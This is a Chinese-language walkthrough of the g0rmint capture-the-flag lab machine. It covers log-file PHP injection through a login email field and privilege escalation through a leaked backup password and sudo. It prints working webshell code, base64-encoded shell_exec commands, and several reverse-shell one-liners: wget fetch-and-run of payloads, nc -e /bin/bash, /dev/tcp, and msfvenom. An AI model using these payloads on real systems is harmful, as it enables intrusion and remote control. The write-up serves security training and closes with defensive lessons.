G0rmint(一句话写入log 提权)

g0rmint(一句话写入log--提权)

g0rmint(一句话写入log--提权)

登陆以后,发现功能少的可怜。。


主面板显示:under contructin,正在施工。。

secrets不知道是什么,好像不是英语,乱码?

profile是个更改登录密码功能,logout就不说了。

那么,该如何提权呢?。。上传功能没有


config.php里有个记录日志的功能。


http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/       访问结果404not found

Y-m-d应该是year、month、day,年月日


http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-February-23rd.php      404not found

http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-02-23.php          404 not found

http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-02-22.php     跳转到登陆页面,登陆以后


看来登陆失败,邮箱地址会记录到日志里,那么....

如果这么写,会不会成功执行呢?

abc@gmail.com<?php eval($_POST[http];?>


先登陆失败一次,发现在22日日志里成功记录。说明23日的失败记录会写入2018-2-22.php文件里。

再写入php代码,再访问2018-2-22.php发现,状态码为500 internal server error。

用菜刀连接,发现一直的一直都是请稍等。。

我对菜刀的原理还不是很熟悉的,遇到问题懵逼


500 server error?




em.......要是一直这样500,那么难道要等明天,更新新的日志才能继续做实验吗?!

改网络连接模式为host-only,断网,改本地时间。

只要登陆失败一次,就会创建2018-2-23.php


现在检查是什么导致500 sever error:

<?php         可以

<?php  ?>   可以

<?php $data = shell_exec(base64_decode('L2Jpbi9scyAtbAo='));print_r($data)?>  出错了

猜测,因为email的输入有长度限制,命令被截断了,执行命令就出错了。


确定不是长度原因。

发现,单引号和双引号会被\转义


<?php echo shell_exec(base64_decode($_GET[cmd]));?>

没有引号,完美!

将这条语句写入log,在浏览器执行时候,就会接收get参数cmd。


cmd参数

如果我们传递cmd的内容为,编码过的/bin/ls -l (L2Jpbi9scyAtbAo=),php脚本就会执行shell_exec()函数,从而执行linux命令。

尝试一:用wget获取攻击机的反弹shell的php脚本

wget http://192.168.254.129/php-reverse-shell.php;chmod +x php-reverse-shell.php;./php-reverse-shell.php       将命令编码

d2dldCBodHRwOi8vMTkyLjE2OC4yNTQuMTI5L3BocC1yZXZlcnNlLXNoZWxsLnBocDtjaG1vZCAreCBwaHAtcmV2ZXJzZS1zaGVsbC5waHA7Li9waHAtcmV2ZXJzZS1zaGVsbC5waHAK


python -c 'import pty;pty.spawn("/bin/bash")'

问题:如图,显示192.168.254.129      to      192.168.254.129,IP是一样的?


尝试二:用nc直接反弹一个bash shell,失败,unknown host

总结:当能够直接执行靶机上的shell(例如命令执行漏洞),再用nc反弹shell到攻击机比较好。

            这里是www-data用户,所以可能有权限的问题。

(d2hvYW1p) =    whoami        执行结果:www-data 

(bmMgMTkyLjE2OC4yNTQuMTI5IDEyMzQ= )   =      nc 192.168.254.129 1234

(bmMgLWwgLXZ2IC1wIDEyMzQgLWUgL2Jpbi9iYXNo)= nc -l -vv -p 1234 -e /bin/bash


尝试三:直接反弹一个shell,失败,和尝试二一样。

bash -i >& /dev/tcp/192.168.254.129/888 0>&1


尝试四:用msfvenom生成一个反弹shell,和尝试一差不多。

msfvenom -p linux/x86/shell_reverse_tcp -f elf lhost=192.168.254.129 lport=1234 > /var/www/html/shell

wget http://192.168.254.129/shell;chmod +x shell;./shell

d2dldCBodHRwOi8vMTkyLjE2OC4yNTQuMTI5L3NoZWxsO2NobW9kICt4IHNoZWxsOy4vc2hlbGw=

./shell              =      Li9zaGVsbA==


获取信息:

Linux ubuntu 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

有两个普通用户g0rmint、sshd

python not found

版本有点高啊,怎么提权呢?

尝试一:suid提权,貌似没有可利用的suid程序


尝试二:联想到开头的ssh端口,于是从数据库里提取用户名密码。

http://192.168.1.105/g0rmint/s3cretbackupdirect0ry/backup.zip

在s3cretbackupdirect0ry 文件夹下,有个zip文件

unzip backup.zip

cat db.sql 

呃好像没找到密码,路径为/var/www/html/g0rmint/s3cretbackupdirect0ry


cd /var/www/

目录下有html、backup.zip

又有一个备份文件

直接解压,权限不够,于是解压到tmp目录

unzip backup.zip -d /var/tmp

cd /var/tmp

find db.sql

cat db.sql


在备份文件里,找到noman的密码,tayyab123

ssh g0rmint@192.168.254.130/tayyab123

su root/tayyab123

su:Authentication failure            root密码不知道

sudo su

tayyab123

locate flag

cat /root/flag.txt

su我知道,切换用户嘛,sudo我也知道,普通用户需要执行管理员才能执行的命令的时候,临时使用的命令嘛。

但是sudo su是什么鬼?没用过

总结:

两个命令的最大区别是:

sudo 命令需要输入当前用户的密码,su 命令需要输入 root 用户的密码。

很明显,就安全而言,sudo 命令更好。例如,考虑到需要 root 访问权限的多用户使用的计算机。在这种情况下,使用 su意味着需要与其他用户共享 root 用户密码,这显然不是一种好习惯。

此外,如果要撤销特定用户的超级用户/root 用户的访问权限,唯一的办法就是更改 root 密码,然后再告知所有其他用户新的 root 密码。

而使用 sudo 命令就不一样了,你可以很好的处理以上的两种情况。鉴于 sudo 命令要求输入的是其他用户自己的密码,所以,不需要共享 root 密码。

同时,想要阻止特定用户访问 root 权限,只需要调整 sudoers 文件中的相应配置即可。

可以看到该靶机中,sudoers文件表示,所有用户都可以执行sudo来提权。


登陆表单的邮箱参数,应该有长度限制!应该要过滤敏感字符!仅仅转义是不够的!

备份文件是要删除的,不能放在网站var/www/html/文件夹下

sudo -i、sudo su  命令都可以使得sudoer用户有root权限

</div>